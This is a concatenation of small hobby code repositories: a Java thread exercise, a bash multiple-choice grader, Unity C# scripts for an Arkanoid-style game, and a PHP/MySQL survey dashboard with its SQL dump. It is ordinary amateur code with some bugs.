<file_sep>package per.owisho.book.thinkingInJava.chapter21_2_2; public class Exercise21_2_2_1{ public static void main(String[] args) { for(int i=0;i<5;i++){ new Thread(new Exercise21_2_2_1Thread()).start(); } System.out.println("线程启动结束"); } } class Exercise21_2_2_1Thread implements Runnable{ private static int count = 0; private final int id = count++; public Exercise21_2_2_1Thread() { System.out.println(id +"开始输出"); } public void run() { for(int i=0;i<3;i++){ System.out.println(id+"正在打印"); } Thread.yield(); } }
0dd02914e2d2baee92f6da95b46714201a0643cb
[ "Java" ]
1
Java
owisho/thinkingInJava
2e1659050b1cd0a42fb6dd43f43630999ddf4ef5
e3e688830531c7070bf9c5046763299908d6793c
refs/heads/master
<file_sep>Quick and dirty multiple choice grader; answer key needs to be UNnumbered, test number lines need to correspond to questions. Note that it uses substring matching to determine the correct answer, so it is VERY easily abused. But the output gives you everything at a glance, so this is still relatively useable as long as you at least manually look over each test. Copyright 2014 <NAME>, IV. No warranties at all. (if this actually becomes something good, I may GPL it) <file_sep>#/bin/bash usage(){ echo "Usage: mcgrade.sh <test to be graded>" exit 1 } answerkey="/home/jrm4/all/storage/school/5362/hw02/answerkey" #answers, for me, are in unzipped directories echo "grading $(pwd)"; # Load answer key into array - for now, key will be UNNUMBERED list of answers. declare -a keyarray let i=1 #for human indexing while read answerline; do #shouldn't have to ifs here keyarray[i]="${answerline}" ((i++)) done < $answerkey #Thanks to stupid DOS newlines, will now be using a tempfile. This will leave original stupid DOS file untouched. tempfile="$(mktemp)" tr '\r' '\n' < "${1}" > "${tempfile}" let i=1 #ditto let numberright=0 let numberwrong=0 while read testline; do testline="$(echo $testline | tr '\r' '\n')" #Leave only first two fields (darn you do-gooders who type out the whole answer) testlinecut="$(echo $testline | cut -d" " -f1,2)" # Convert to lowercase testlinelower="${testlinecut,,}" #here's the magic. Yes, "abcd" defeats this. Unless you use your human eyes. if [[ "${testlinelower}" == *"${keyarray[i]}"* ]]; then echo "${testline}" ((numberright++)) elif [[ "${keyarray[i]}" == "OVERRIDE" ]]; then echo "${testline} - OVERRIDE, BAD QUESTION" ((numberright++)) else echo "${testline} incorrect, answer is ${keyarray[i]}" ((numberwrong++)) fi ((i++)) done < "${tempfile}" echo "Results for $(pwd)" echo "$numberright right and $numberwrong wrong" echo "---------------------------------------------------------------------------------------"
d1bfe67c95d6e67f85affa5acf34a9c60aa98d62
[ "Markdown", "Shell" ]
2
Markdown
jrm4/mc-grader
5a69b40133a9f0a84f25be17f9c084db89212fc8
b910de96905aba36bda4f2c32978ab7da51d623c
refs/heads/main
<repo_name>frozenca1ne/Arkanoid<file_sep>/Assets/Scripts/PickUps/PickUpBallScale.cs using UnityEngine; namespace PickUps { public class PickUpBallScale : MonoBehaviour { [SerializeField] private float scale; private Ball _ball; private void Start() { _ball = FindObjectOfType<Ball>(); } private void OnTriggerEnter2D(Collider2D collision) { if (collision.gameObject.CompareTag("Platform")) { _ball.ModifyScale(scale); } Destroy(gameObject); } } } <file_sep>/Assets/Scripts/PickUps/PickUpScore.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class PickUpScore : MonoBehaviour { GameManager gameManager; public int modifyScore; void Start() { gameManager = FindObjectOfType<GameManager>(); } private void OnTriggerEnter2D(Collider2D collision) { if (collision.gameObject.CompareTag("Platform")) { gameManager.AddScore(modifyScore); Destroy(gameObject); } else if (collision.gameObject.CompareTag("LoseGame")) { Destroy(gameObject); } } } <file_sep>/Assets/Scripts/PickUps/PickUpHealth.cs using UnityEngine; namespace PickUps { public class PickUpHealth : MonoBehaviour { private LoseGame _loseGame; public int modificator; private void Start() { _loseGame = FindObjectOfType<LoseGame>(); } private void OnTriggerEnter2D(Collider2D collision) { if (collision.gameObject.CompareTag("Platform")) { _loseGame.ModifyHealth(modificator); } Destroy(gameObject); } } } <file_sep>/Assets/Scripts/LoseGame.cs using UnityEngine; using UnityEngine.SceneManagement; using UnityEngine.UI; public class LoseGame : MonoBehaviour { [SerializeField] private int maxHealthCount = 5; [SerializeField] private Image[] healthImages; [SerializeField] private int startHealth = 3; private Ball _ball; private void Start() { _ball = FindObjectOfType<Ball>(); } private void OnTriggerEnter2D(Collider2D collision) { if (!collision.gameObject.CompareTag("Ball")) return; var balls = FindObjectsOfType<Ball>(); if (balls.Length > 1) { Destroy(collision.gameObject); } else { DoAgain(); } } private void DoAgain() { startHealth--; HeartOff(startHealth); if (startHealth != 0) { _ball.ReturnBall(); } else { var allScenes = SceneManager.sceneCountInBuildSettings; SceneManager.LoadScene(allScenes - 1); } } public void ModifyHealth(int modificator) { if (startHealth == 0) return; startHealth += modificator; HeartOn(startHealth); } private void HeartOn(int index) { if(startHealth<=maxHealthCount) { healthImages[index - 1].gameObject.SetActive(true); } } private void HeartOff(int index) { if (startHealth <= 5) { healthImages[index].gameObject.SetActive(false); } } } <file_sep>/Assets/Scripts/PickUps/PickUpPlatformScale.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class PickUpPlatformScale : MonoBehaviour { Platform platform; public float modifyScale; void Start() { platform = FindObjectOfType<Platform>(); } private void OnTriggerEnter2D(Collider2D collision) { if (collision.gameObject.CompareTag("Platform")) { platform.ModifyScale(modifyScale); Destroy(gameObject); } else if (collision.gameObject.CompareTag("LoseGame")) { Destroy(gameObject); } } } <file_sep>/Assets/Scripts/Ball.cs using UnityEngine; public class Ball : MonoBehaviour { [Header("Explode")] [SerializeField] private float explodeRadius = 2f; [SerializeField] private float speed = 7f; [SerializeField] private LayerMask explosiveObjects; [SerializeField] private AudioSource audioSource; private Platform _platform; private GameManager _gameManager; private Rigidbody2D _rigidbody; private Vector3 _ballOffset; public bool IsBallExplosive { get;set; } public bool IsBallStarted { get; private set; } public bool IsBallSticky { get; set; } private void Awake() { IsBallStarted = false; _rigidbody = GetComponent<Rigidbody2D>(); } private void Start() { _gameManager = FindObjectOfType<GameManager>(); _platform = FindObjectOfType<Platform>(); _ballOffset = transform.position - _platform.transform.position; } private void Update() { if(!IsBallStarted) MoveWithPlatform(); } private void MoveWithPlatform() { transform.position = _platform.transform.position + _ballOffset; if (!Input.GetMouseButtonDown(0)) return; if(_gameManager.pauseActive != true) { LaunchBall(); } } private void LaunchBall() { IsBallStarted = true; var speedVector = new Vector2(Random.Range(-2,2),1); _rigidbody.velocity = speedVector * speed; } public void Duplicate() { var newBall = Instantiate(this); newBall.LaunchBall(); if(IsBallSticky) { newBall.IsBallSticky = true; } } private void OnDrawGizmos() { if (_rigidbody == null) return; Gizmos.color = Color.red; var position = transform.position; Gizmos.DrawLine(position, position + (Vector3)_rigidbody.velocity); Gizmos.DrawWireSphere(position, explodeRadius); } public void ModifySpeed(float modificator) { _rigidbody.velocity *= modificator; } public void ModifyScale(float modificator) { transform.localScale *= modificator; } private void OnCollisionEnter2D(Collision2D collision) { audioSource.Play(); if (collision.gameObject.CompareTag("Platform")) { if(IsBallSticky) { IsBallStarted = false; _rigidbody.velocity = Vector3.zero; _ballOffset = transform.position - _platform.transform.position; } } if(collision.gameObject.CompareTag("Block")) { MakeExplosive(); } } private void MakeExplosive() { if (IsBallExplosive != true) return; var maxColliders = 10; var hitColliders = new Collider2D[maxColliders]; var blocksInRadius = Physics2D.OverlapCircleNonAlloc(transform.position, explodeRadius,hitColliders, explosiveObjects); for(var i = 0;i<blocksInRadius;i++) { var blockInRadius = hitColliders[i].gameObject.GetComponent<Block>(); if (blockInRadius != null) { blockInRadius.DestroyBlock(); } } } public void ReturnBall() { IsBallStarted = false; _rigidbody.velocity = Vector3.zero; transform.position = _ballOffset; } } <file_sep>/Assets/Scripts/PickUps/PickUpCatchBall.cs using UnityEngine; namespace PickUps { public class PickUpCatchBall : MonoBehaviour { private void ApplyEffect() { var balls = FindObjectsOfType<Ball>(); foreach (var ball in balls) { ball.IsBallSticky = true; } } private void OnTriggerEnter2D(Collider2D collision) { if (collision.gameObject.CompareTag("Platform")) { ApplyEffect(); } Destroy(gameObject); } } } <file_sep>/Assets/Scripts/LevelManager.cs using System.Collections; using UnityEngine; using UnityEngine.SceneManagement; public class LevelManager : MonoBehaviour { [SerializeField] private int loadSceneDelay = 1; private int _blocksNumber; public void AddBlockCount() { _blocksNumber++; } public void RemoveBlockCount() { _blocksNumber--; if (_blocksNumber <= 0) { StartCoroutine(LoadNextLevel(loadSceneDelay)); } } private IEnumerator LoadNextLevel(int delay) { yield return new WaitForSeconds(delay); var currentSceneIndex = SceneManager.GetActiveScene().buildIndex; SceneManager.LoadScene(currentSceneIndex + 1); } } <file_sep>/Assets/Scripts/Block.cs using UnityEngine; [RequireComponent(typeof(Collider2D))] public class Block : MonoBehaviour { [SerializeField] private GameObject[] pickUps; [SerializeField] private AudioSource audioSource; [SerializeField] private AudioClip destroySound; [SerializeField] private GameObject destroyFx; [SerializeField] private bool visibility = true; [Header("Explode")] [SerializeField] private bool isExploding; [SerializeField] private float explodeRadius = 2f; [Header("Points")] [SerializeField] private int pointsToBreak = 1; [SerializeField] private int pointsPerBlock = 10; private LevelManager _levelManager; private GameManager _gameManager; private SpriteRenderer _sprite; private void Start() { _sprite = GetComponent<SpriteRenderer>(); _levelManager = FindObjectOfType<LevelManager>(); _levelManager.AddBlockCount(); _gameManager = FindObjectOfType<GameManager>(); } private void Update() { VisibilityBlock(); } private void OnCollisionEnter2D(Collision2D collision) { if (visibility == false) { visibility = true; } DestroyBlock(); } public void DestroyBlock() { pointsToBreak -= 1; if (pointsToBreak != 0) return; audioSource.PlayOneShot(destroySound); Destroy(gameObject); _gameManager.AddScore(pointsPerBlock); if (pickUps.Length != 0) { var randomChance = Random.Range(0, 10); if (randomChance < 3) { var pickupPosition = transform.position; var pickUpIndex = Random.Range(0, pickUps.Length - 1); var pickUp = pickUps[pickUpIndex]; Instantiate(pickUp, pickupPosition, Quaternion.identity); } } if (destroyFx != null) { var destroyFxVector = transform.position; var newObject = Instantiate(destroyFx, destroyFxVector, Quaternion.identity); Destroy(newObject, 1f); } if (isExploding) { LayerMask layerMask = LayerMask.GetMask("Block"); var objectsInRadius = Physics2D.OverlapCircleAll(transform.position, explodeRadius, layerMask); foreach (var objectsI in objectsInRadius) { if (objectsI.gameObject == gameObject) { continue; } var block = objectsI.gameObject.GetComponent<Block>(); if (block == null) { Destroy(objectsI.gameObject); } else { block.DestroyBlock(); } } } _levelManager.RemoveBlockCount(); } private void VisibilityBlock() { _sprite.enabled = visibility != false; } private void OnDrawGizmos() { Gizmos.color = Color.red; Gizmos.DrawWireSphere(transform.position, explodeRadius); } } <file_sep>/Assets/Scripts/PickUps/PickUpDuplicate.cs using UnityEngine; namespace PickUps { public class PickUpDuplicate : MonoBehaviour { [SerializeField] private int newBallNumber = 2; private void ApplyEffect() { var ball = FindObjectOfType<Ball>(); for (var i = 0; i < newBallNumber; i++) { ball.Duplicate(); } } private void OnTriggerEnter2D(Collider2D collision) { if (collision.gameObject.CompareTag("Platform")) { ApplyEffect(); } Destroy(gameObject); } } } <file_sep>/Assets/Scripts/FinalScore.cs using UnityEngine; using UnityEngine.UI; public class FinalScore : MonoBehaviour { [SerializeField] private Text finalScore; private GameManager _gameManager; private ScenesLoader _scenesLoader; private void Start() { _gameManager = FindObjectOfType<GameManager>(); _scenesLoader = FindObjectOfType<ScenesLoader>(); } private void Update() { SetScore(); } private void SetScore() { var index = _scenesLoader.ReturnIndex(); if (index != 0) { GetFinalScore(_gameManager.Score); } else { ModifyBestScore(_gameManager.Score); SetBestScore(); _gameManager.Score = 0; } } private void ModifyBestScore(int score) { var currentScore = PlayerPrefs.GetInt("BestScore", 0); if(score>currentScore) { PlayerPrefs.SetInt("BestScore", score); } } private void GetFinalScore(int score) { finalScore.text = "SCORE : " + score; } private void SetBestScore() { var score = PlayerPrefs.GetInt("BestScore",0); finalScore.text = "BEST SCORE : " + score; } } <file_sep>/Assets/Scripts/Platform.cs using UnityEngine; public class Platform : MonoBehaviour { [SerializeField] private float minPlatformPositionX = -6.6f; [SerializeField] private float maxPlatformPositionX = 6.6f; private Ball _ball; private GameManager _gameManager; private void Start() { _ball = FindObjectOfType<Ball>(); _gameManager = FindObjectOfType<GameManager>(); } private void Update() { if (_gameManager.autoplay && _ball.IsBallStarted) { MoveWithBall(); } else { MovePlatform(); } } private void MovePlatform() { var mousePosition = Input.mousePosition; if (Camera.main == null) return; var mouseWorldPos = Camera.main.ScreenToWorldPoint(mousePosition); var mousePositionX = mouseWorldPos.x; var clampMousePositionX = Mathf.Clamp(mousePositionX,minPlatformPositionX,maxPlatformPositionX); var mousePositionY = transform.position.y; transform.position = new Vector3(clampMousePositionX, mousePositionY, 0); } private void MoveWithBall() { transform.position = new Vector3(_ball.transform.position.x, transform.position.y, 0); } public void ModifyScale(float modificator) { var scaleX = transform.localScale; scaleX.x *= modificator; transform.localScale = scaleX; } } <file_sep>/Assets/Scripts/MusicPlayer.cs using UnityEngine; public class MusicPlayer : MonoBehaviour { private void Awake() { var musicPlayers = FindObjectsOfType<MusicPlayer>(); if (musicPlayers.Length <= 1) return; Destroy(gameObject); gameObject.SetActive(false); } private void Start() { DontDestroyOnLoad(gameObject); } } <file_sep>/Assets/Scripts/ScenesLoader.cs using UnityEngine; using UnityEngine.SceneManagement; public class ScenesLoader : MonoBehaviour { public void LoadFirstScene() { SceneManager.LoadScene(0); } public void ExitGame() { Application.Quit(); } public int ReturnIndex() { return SceneManager.GetActiveScene().buildIndex; } public void SelectLevel(int index) { SceneManager.LoadScene(index); } } <file_sep>/Assets/Scripts/GameManager.cs using UnityEngine; using UnityEngine.UI; public class GameManager : MonoBehaviour { [SerializeField] private Image panel; [SerializeField] private int score = 0; [SerializeField] private float autoplaySpeed = 1.5f; public bool autoplay; public bool pauseActive; public int Score { get => score; set => score = value; } private Platform _platform; public void AddScore(int points) { score += points; } public void ReturnToGame() { panel.gameObject.SetActive(false); Time.timeScale = 1; pauseActive = false; _platform.enabled = true; } private void Awake() { var gameManager = FindObjectsOfType<GameManager>(); if (gameManager.Length <= 1) return; Destroy(gameObject); gameObject.SetActive(false); } private void Start() { DontDestroyOnLoad(gameObject); _platform = FindObjectOfType<Platform>(); } private void Update() { GamePause(); if (autoplay) { Time.timeScale = autoplaySpeed; } } private void GamePause() { if (!Input.GetKeyDown(KeyCode.Escape)) return; if (pauseActive) { if (autoplay) { Time.timeScale = autoplaySpeed; } else { Time.timeScale = 1; } pauseActive = false; _platform.enabled = true; } else { Time.timeScale = 0; pauseActive = true; panel.gameObject.SetActive(true); _platform.enabled = false; } } } <file_sep>/Assets/Scripts/PickUps/PickUpSpeed.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class PickUpSpeed : MonoBehaviour { public float speedKoef; Ball ball; private void Start() { ball = FindObjectOfType<Ball>(); } private void OnTriggerEnter2D(Collider2D collision) { if (collision.gameObject.CompareTag("Platform")) { ball.ModifySpeed(speedKoef); Destroy(gameObject); } else if (collision.gameObject.CompareTag("LoseGame")) { Destroy(gameObject); } } } <file_sep>/Assets/Scripts/PickUps/PickUpExplode.cs using UnityEngine; namespace PickUps { public class PickUpExplode : MonoBehaviour { private void ApplyEffect() { var balls = FindObjectsOfType<Ball>(); foreach(var ball in balls) { ball.IsBallExplosive = true; var ballSprite = ball.GetComponent<SpriteRenderer>(); ballSprite.color = Color.red; var ballRenderer = ball.GetComponent<TrailRenderer>(); ballRenderer.material.color = Color.yellow; } } private void OnTriggerEnter2D(Collider2D collision) { if (collision.gameObject.CompareTag("Platform")) { ApplyEffect(); } Destroy(gameObject); } } }
dfc196ad45053ed7c5d933d188f5984e98180b5a
[ "C#" ]
17
C#
frozenca1ne/Arkanoid
8b0f95fb8636123d0b539714af4838a9f1caf036
61b1dfc90168b82747869252c83ae3861f44d071
refs/heads/master
<repo_name>arga1234/garuda_indonesia<file_sep>/production/bismillah.php <!-- Buat Preview Data --> <?php // Jika user telah mengklik tombol Preview if(isset($_POST['preview'])){ //$ip = ; // Ambil IP Address dari User $nama_file_baru = 'data.xlsx'; // Cek apakah terdapat file data.xlsx pada folder tmp if(is_file('tmp/'.$nama_file_baru)) // Jika file tersebut ada unlink('tmp/'.$nama_file_baru); // Hapus file tersebut $tipe_file = $_FILES['file']['type']; // Ambil tipe file yang akan diupload $tmp_file = $_FILES['file']['tmp_name']; // Cek apakah file yang diupload adalah file Excel 2007 (.xlsx) if($tipe_file == "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"){ // Upload file yang dipilih ke folder tmp // dan rename file tersebut menjadi data{ip_address}.xlsx // {ip_address} diganti jadi ip address user yang ada di variabel $ip // Contoh nama file setelah di rename : data127.0.0.1.xlsx move_uploaded_file($tmp_file, 'tmp/'.$nama_file_baru); // Load librari PHPExcel nya require_once 'PHPExcel/PHPExcel.php'; $excelreader = new PHPExcel_Reader_Excel2007(); $loadexcel = $excelreader->load('tmp/'.$nama_file_baru); // Load file yang tadi diupload ke folder tmp $sheet = $loadexcel->getActiveSheet()->toArray(null, true, true ,true); // Buat sebuah tag form untuk proses import data ke database echo "<form method='post' action='import'>"; // Buat sebuah div untuk alert validasi kosong echo "<div class='alert alert-danger' id='kosong'> Semua data belum diisi, Ada <span id='jumlah_kosong'></span> data yang belum diisi. </div>"; echo "<table class='table table-bordered'> <tr> <th colspan='12' class='text-center'>Preview Data</th> </tr> <tr> <th><NAME></th> <th>Tangibles</th> <th>Reliability</th> <th>Responsiveness</th> <th>Assurance</th> <th>Empathy</th> </tr>"; $numrow = 1; $kosong = 0; foreach($sheet as $row){ // Lakukan perulangan dari data yang ada di excel // Ambil data pada excel sesuai Kolom $id = $row['I']; // Ambil data NIS $tangibles = $row['J']; // Ambil data nama $reliability = $row['K']; // Ambil data jenis kelamin $responsiveness= $row['L']; // Ambil data telepon $assurance= $row['M']; // Ambil data alamat $empathy= $row['N']; // Ambil data alamat // Cek jika semua data tidak diisi if(empty($id) && empty($tangibles) && empty($reliability) && empty($responsiveness) && empty($assurence)&& empty($emphaty)) continue; // Lewat data pada baris ini (masuk ke looping selanjutnya / baris selanjutnya) // Cek $numrow apakah lebih dari 1 // Artinya karena baris pertama adalah nama-nama kolom // Jadi dilewat saja, tidak usah diimport if($numrow > 1){ // Validasi apakah semua data telah diisi $id_td = ( ! empty($id))? "" : " style='background: #E07171;'"; // Jika NIS kosong, beri warna merah $tangibles_td = ( ! empty($tangibles))? "" : " style='background: #E07171;'"; // Jika Nama kosong, beri warna merah $reliability_td = ( ! empty($reliability))? "" : " style='background: #E07171;'"; // Jika Jenis Kelamin kosong, beri warna merah $responsiveness_td = ( ! empty($responsiivness))? "" : " style='background: #E07171;'"; // Jika Telepon kosong, beri warna merah $assurance_td = ( ! empty($assurence))? "" : " style='background: #E07171;'"; // Jika Alamat kosong, beri warna merah $empathy_td = ( ! empty($emphaty))? "" : " style='background: #E07171;'"; // Jika Alamat kosong, beri warna merah // Jika salah satu data ada yang kosong if(empty($id) or empty($tangibles) or empty($reliability) or empty($responsiveness) or empty($assurance)or empty($empathy)) { $kosong++; // Tambah 1 variabel $kosong } echo "<tr>"; echo "<td".$id_td.">".$id."</td>"; echo "<td".$tangibles.">".$tangibles."</td>"; echo "<td".$reliability_td.">".$reliability."</td>"; echo "<td".$responsiveness_td.">".$responsiveness."</td>"; echo "<td".$assurance_td.">".$assurance."</td>"; echo "<td".$empathy_td.">".$empathy."</td>"; echo "</tr>"; } $numrow++; // Tambah 1 setiap kali looping } echo "</table>"; // Cek apakah variabel kosong lebih dari 1 // Jika lebih dari 1, berarti ada data yang masih kosong if($kosong > 1000){ ?> <script> $(document).ready(function(){ // Ubah isi dari tag span dengan id jumlah_kosong dengan isi dari variabel kosong $("#jumlah_kosong").html('<?php echo $kosong; ?>'); $("#kosong").show(); // Munculkan alert validasi kosong }); </script> <?php }else{ // Jika semua data sudah diisi echo "<hr>"; // Buat sebuah tombol untuk mengimport data ke database echo "<button type='submit' name='import' class='btn btn-primary'><span class='glyphicon glyphicon-upload'></span> Import</button>"; } echo "</form>"; }else{ // Jika file yang diupload bukan File Excel 2007 (.xlsx) // Munculkan pesan validasi echo "<div class='alert alert-danger'> Hanya File Excel 2007 (.xlsx) yang diperbolehkan </div>"; } } ?><file_sep>/production/sdaf.php <!DOCTYPE html> <html lang="en"> <body> <!-- Membuat Menu Header / Navbar --> <!-- Content --> <div style="padding: 0 15px;"> <a href="form_upload.php" class="btn btn-success pull-right"> <span class="glyphicon glyphicon-upload"></span> Import Data </a> <h3>Data Hasil Import</h3> <hr> <!-- Buat sebuah div dan beri class table-responsive agar tabel jadi responsive --> <div class="table-responsive"> <table class="table table-bordered"> <tr> <th>No</th> <th>ID Karyawan</th> <th>Tangibles</th> <th>Reliability</th> <th>Responsiveness</th> <th>Assurance</th> <th>Empathy</th> </tr> <?php // Load file koneksi.php include "koneksi_php.php"; // Buat query untuk menampilkan semua data survey $sql = $pdo->prepare("SELECT * FROM datasurvey"); $sql->execute(); // Eksekusi querynya $no = 1; // Untuk penomoran tabel, di awal set dengan 1 while($data = $sql->fetch()){ // Ambil semua data dari hasil eksekusi $sql echo "<tr>"; echo "<td>".$no."</td>"; echo "<td>".$data['id']."</td>"; echo "<td>".$data['tangibles']."</td>"; echo "<td>".$data['reliability']."</td>"; echo "<td>".$data['responsiveness']."</td>"; echo "<td>".$data['assurance']."</td>"; echo "<td>".$data['empathy']."</td>"; echo "</tr>"; $no++; // Tambah 1 setiap kali looping } ?> </table> </div> </div> </body> </html> <file_sep>/database_garuda_indonesia.sql -- phpMyAdmin SQL Dump -- version 4.5.1 -- http://www.phpmyadmin.net -- -- Host: 127.0.0.1 -- Generation Time: Nov 08, 2017 at 07:13 AM -- Server version: 10.1.8-MariaDB -- PHP Version: 5.6.14 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `survey` -- -- -------------------------------------------------------- -- -- Table structure for table `averagedata` -- CREATE TABLE `averagedata` ( `tipe` varchar(20) NOT NULL, `avgTangibles` float DEFAULT NULL, `avgReliability` float DEFAULT NULL, `avgResponsiveness` float DEFAULT NULL, `avgAssurance` float DEFAULT NULL, `avgEmpathy` float DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `averagedata` -- INSERT INTO `averagedata` (`tipe`, `avgTangibles`, `avgReliability`, `avgResponsiveness`, `avgAssurance`, `avgEmpathy`) VALUES ('update', 4.75, 4.5, 4.5, 4, 3.25); -- -------------------------------------------------------- -- -- Table structure for table `averagedatavertical` -- CREATE TABLE `averagedatavertical` ( `playerid` int(10) NOT NULL, `tipe` varchar(20) DEFAULT NULL, `percentage` float DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `averagedatavertical` -- INSERT INTO `averagedatavertical` (`playerid`, `tipe`, `percentage`) VALUES (1, 'Tangibles', 2.3333), (2, 'Reliability', 2), (3, 'Responsiveness', 3.2), (4, 'Assurance', 4.3333), (5, 'Empathy', 5); -- -------------------------------------------------------- -- -- Table structure for table `datasurvey` -- CREATE TABLE `datasurvey` ( `id` int(8) NOT NULL, `tangibles` int(8) DEFAULT NULL, `reliability` int(8) DEFAULT NULL, `responsiveness` int(8) DEFAULT NULL, `assurance` int(8) DEFAULT NULL, `empathy` int(8) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `datasurvey` -- INSERT INTO `datasurvey` (`id`, `tangibles`, `reliability`, `responsiveness`, `assurance`, `empathy`) VALUES (1, 1, 2, 4, 5, 5); -- -------------------------------------------------------- -- -- Table structure for table `pertanyaan` -- CREATE TABLE `pertanyaan` ( `id` int(10) NOT NULL, `dimensi` varchar(20) DEFAULT NULL, `pertanyaan` varchar(100) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `pertanyaan` -- INSERT INTO `pertanyaan` (`id`, `dimensi`, `pertanyaan`) VALUES (1, 'Tangibles', '"Perusahaan memiliki peralatan yang terlihat canggih dan modern?\r\n"\r\n'), (2, 'Reliability', '"Bila pelanggan memiliki masalah, perusahaan akan menunjukkan ketulusan untuk menyelesaikannya?\r\n"\r\n'), (3, 'Responsiveness', '"Karyawan perusahaan selalu bersedia membantu nasabah?\r\n"\r\n'), (4, 'Assurance', '"Karyawan Garuda Indonesia bersikap sopan kepada pelanggan?\r\n"\r\n'), (5, 'Empathy', '"Perusahaan memberi perhatian secara individual kepada pelanggan?\r\n"\r\n'); -- -------------------------------------------------------- -- -- Table structure for table `users` -- CREATE TABLE `users` ( `id` int(11) NOT NULL, `username` varchar(100) NOT NULL, `email` varchar(100) NOT NULL, `password` varchar(100) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `users` -- INSERT INTO `users` (`id`, `username`, `email`, `password`) VALUES (0, 'arga', '<EMAIL>', '<PASSWORD>'), (0, 'admin', '<EMAIL>', '<PASSWORD>'); -- -- Indexes for dumped tables -- -- -- Indexes for table `averagedata` -- ALTER TABLE `averagedata` ADD PRIMARY KEY (`tipe`), ADD UNIQUE KEY `tipe` (`tipe`); -- -- Indexes for table `averagedatavertical` -- ALTER TABLE `averagedatavertical` ADD PRIMARY KEY (`playerid`); -- -- Indexes for table `datasurvey` -- ALTER TABLE `datasurvey` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); -- -- Indexes for table `pertanyaan` -- ALTER TABLE `pertanyaan` ADD PRIMARY KEY (`id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `datasurvey` -- ALTER TABLE `datasurvey` MODIFY `id` int(8) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=50; -- -- AUTO_INCREMENT for table `pertanyaan` -- ALTER TABLE `pertanyaan` MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/production/bismillah2.php <?php include 'generate.php'; session_start(); if (!isset($_SESSION['username'])) { $_SESSION['msg'] = "You must log in first"; header('location: login.php'); } if (isset($_GET['logout'])) { session_destroy(); unset($_SESSION['username']); header("location: login.php"); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- Meta, title, CSS, favicons, etc. --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Gentelella Alela! | </title> <!-- Bootstrap --> <link href="../vendors/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet"> <!-- Font Awesome --> <link href="../vendors/font-awesome/css/font-awesome.min.css" rel="stylesheet"> <!-- NProgress --> <link href="../vendors/nprogress/nprogress.css" rel="stylesheet"> <!-- Dropzone.js --> <link href="../vendors/dropzone/dist/min/dropzone.min.css" rel="stylesheet"> <!-- Custom Theme Style --> <link href="../build/css/custom.min.css" rel="stylesheet"> <!-- CSS untuk Form Upload Download--> <link href="../production/css/UploadDownload.css" rel="stylesheet" type="text/css" > </head> <body class="nav-md"> <div class="container body"> <div class="main_container"> <div class="col-md-3 left_col menu_fixed"> <div class="left_col scroll-view"> <div class="navbar nav_title" style="border: 0;"> <a href="index.html" class="site_title"><i class="fa fa-paw"></i> <span>Survey Garuda</span></a> </div> <div class="clearfix"></div> <!-- menu profile quick info --> <div class="profile clearfix"> <div class="profile_pic"> <img src="images/img.jpg" alt="..." class="img-circle profile_img"> </div> <div class="profile_info"> <span>Welcome,</span> <h2><?php echo $_SESSION['username']; ?></h2> </div> </div> <!-- /menu profile quick info --> <br /> <!-- sidebar menu --> <div id="sidebar-menu" class="main_menu_side hidden-print main_menu"> <div class="menu_section"> <br/> <ul class="nav side-menu"> <li><a><i class="fa fa-edit"></i> Survey <span class="fa fa-chevron-down"></span></a> <ul class="nav child_menu"> <li><a href="form.php">Isi Questionaire</a></li> <li><a href="form_upload.php">Form Upload</a></li> </ul> </li> <li><a><i class="fa fa-bar-chart-o"></i> Dashboard <span class="fa fa-chevron-down"></span></a> <ul class="nav child_menu"> <li><a href="chartjs.php">Chart</a></li> <li><a href="tables.php">Top 3 and Bottom 3</a></li> </ul> </li> <li><a href="edit_form.php"><i class="fa fa-bar-chart-o"></i> Edit Form <span class="fa"></span></a> </li> </ul> </div> </div> <!-- /sidebar menu --> <!-- /menu footer buttons --> <div class="sidebar-footer hidden-small"> <a data-toggle="tooltip" data-placement="top" title="Settings"> <span class="glyphicon glyphicon-cog" aria-hidden="true"></span> </a> <a data-toggle="tooltip" data-placement="top" title="FullScreen"> <span class="glyphicon glyphicon-fullscreen" aria-hidden="true"></span> </a> <a data-toggle="tooltip" data-placement="top" title="Lock"> <span class="glyphicon glyphicon-eye-close" aria-hidden="true"></span> </a> <a data-toggle="tooltip" data-placement="top" title="Logout" href="login.html"> <span class="glyphicon glyphicon-off" aria-hidden="true"></span> </a> </div> <!-- /menu footer buttons --> </div> </div> <!-- top navigation --> <div class="top_nav"> <div class="nav_menu"> <nav> <div class="nav toggle"> <a id="menu_toggle"><i class="fa fa-bars"></i></a> </div> <ul class="nav navbar-nav navbar-right"> <li class=""> <a href="javascript:;" class="user-profile dropdown-toggle" data-toggle="dropdown" aria-expanded="false"> <img src="images/img.jpg" alt=""><?php 